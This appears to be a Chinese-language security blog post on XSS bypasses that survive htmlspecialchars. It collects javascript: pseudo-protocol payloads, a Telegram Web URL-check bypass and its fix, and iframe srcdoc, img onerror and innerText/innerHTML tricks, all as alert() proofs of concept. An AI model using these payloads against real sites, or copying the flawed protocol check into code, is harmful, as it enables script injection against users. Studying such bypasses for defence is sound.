前言
以前一直以为经过htmlspecialchars之后就不存在xss漏洞了,现在想来还是我太肤浅了
- https://ithelp.ithome.com.tw/articles/10315118
javascript伪协议
可以触发的标签这种一般都是容易被忽略的注入xss的点,看到下面的代码1
2
3
4
5
6
7
8
9
10
11<iframe src=javascript:alert(1)></iframe>
<a href=javascript:alert(1)>Link</a>
<form action=javascript:alert(1)>
<button>submit</button>
</form>
<form id=f2>
</form>
<button form=f2 formaction=javascript:alert(2)>submit</button>虽然他被html编码了,但是仍然可以用伪协议去触发1
<a href="<?php echo htmlspecialchars($data) ?>">link</a>`
当然,window.location
也是可以触发伪协议的1
window.location = 'javascript:alert(1)'
防御方式
上面已经提到过了,html编码是行不通的,直接删掉javascript,攻击者就可以通过下面的代码进行绕过1
<a href="javascript:alert(1)">link</a>
所以一般是通过白名单的方式,验证他的开头是否是http或者https这样
在tg中就出现过这样的问题1
2
3
4
5
6export function ensureProtocol(url?: string) {
if (!url) {
return undefined;
}
return url.includes('://') ? url : `http://${url}`;
}
他并没有判断开头是否是http://
或者是https://
,所以导致攻击者可以用下面的代码进行绕过1
javascript:alert('://')
但是要在服务器也会判断上面的代码是否合规,那上面的代码显然不行,不过攻击者用了一种特殊写法绕过了。
URL的完全体一般是长下面的样子的1
https://username:password@www.example.com/
所以构造绕过payload1
javascript:alert('Slonser was here!');//@github.com
1
<a href="javascript:alert('Slonser was here!');//@github.com">link</a>
这样就能弹窗了
tg的修复方式如下
https://github.com/Ajaxy/telegram-tt/commit/a8d025395bc0032d964c2afc8c4fb5d2fa631a441
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19export function ensureProtocol(url?: string) {
if (!url) {
return undefined;
}
// HTTP was chosen by default as a fix for https://bugs.telegram.org/c/10712.
// It is also the default protocol in the official TDesktop client.
try {
const parsedUrl = new URL(url);
// eslint-disable-next-line no-script-url
if (parsedUrl.protocol === 'javascript:') {
return `http://${url}`;
}
return url;
} catch (err) {
return `http://${url}`;
}
}
利用URL去解析url,并提取出protocol,并判断
小trick
一般来说加个target="_blank"
,就可以解决上面的问题1
<a href="https://kaikaix.github.io" target="_blank">link</a>
在chrome中,点开上面的会先新建一个about:blank,然后在打开博客
在firefox中,会先新建一个空页面,在打开博客
但是所有都是先新建一个空页面,再去操作1
<a href="javascript:alert(1)" target="_blank">link</a>
如果是如上的情况就只会新建一个页面,然后不会有其他的操作
但是这只是用鼠标左键的情况
当你用鼠标中键,也就是按一下那个滚轮,或者你用ctrl加左键,同样可以触发
题外话 innerHTML和innerText
innerHTML
现在有一个test.js1
document.body.innerHTML = '可控,但是无法绕过引号'
另一个页面加载了该js
这时候应该怎么去执行xss
如果是1
<script>alert(1)</script>
是无法执行的,innerHTML禁止了script标签
这时候可以用img标签onerror属性去绕过
也可以用iframe标签的srcdoc去绕过1
2
3<iframe srcdoc="<script>alert(1)</script>"></iframe>
//当然下面这种也是可以的
<iframe srcdoc=<script>alert(1)</script>></iframe>
属性中的内容是可以经过编码的
之前sekaictf拿到golf jail我就以为有了编码就不可能存在xss了
innerText
接下来看看innerText
还是一样的代码,只不过改成innerText1
2
3
4
5
6
7<html>
<body>
<script>
document.body.innerText = '<iframe<?php echo ($_GET['name']) ?>></iframe>'
</script>
</body>
</html>
可以看到他将你输入的尖括号之类的特殊字符都进行了html编码,那么就不会在存在xss漏洞了
但是有一点比较奇怪,当你从innerText中取东西,比如下面的代码1
2
3
4
5
6
7
8
9<html>
<body>
<a href=123 id=a><script>alert(1)</script></a>
<script>
console.log(document.getElementById("a").innerText)
</script>
</body>
</html>
虽然<a>
中的内容经过了编码,但是显示却是下面的内容
所以就会有一种情况,当年输入的内容被编码了,但是如果有以下的代码,就有可能会被绕过1
2
3
4
5
6
7
8
9
10<html>
<body>
<a href=123 id=a><img src=1 onerror=alert(1)></a>
</body>
<script>
document.getElementById("a").innerHTML = document.getElementById("a").innerText
</script>
</html>
为什么不用<script>
标签,上面提过innerHTML是不会去执行script标签下的代码的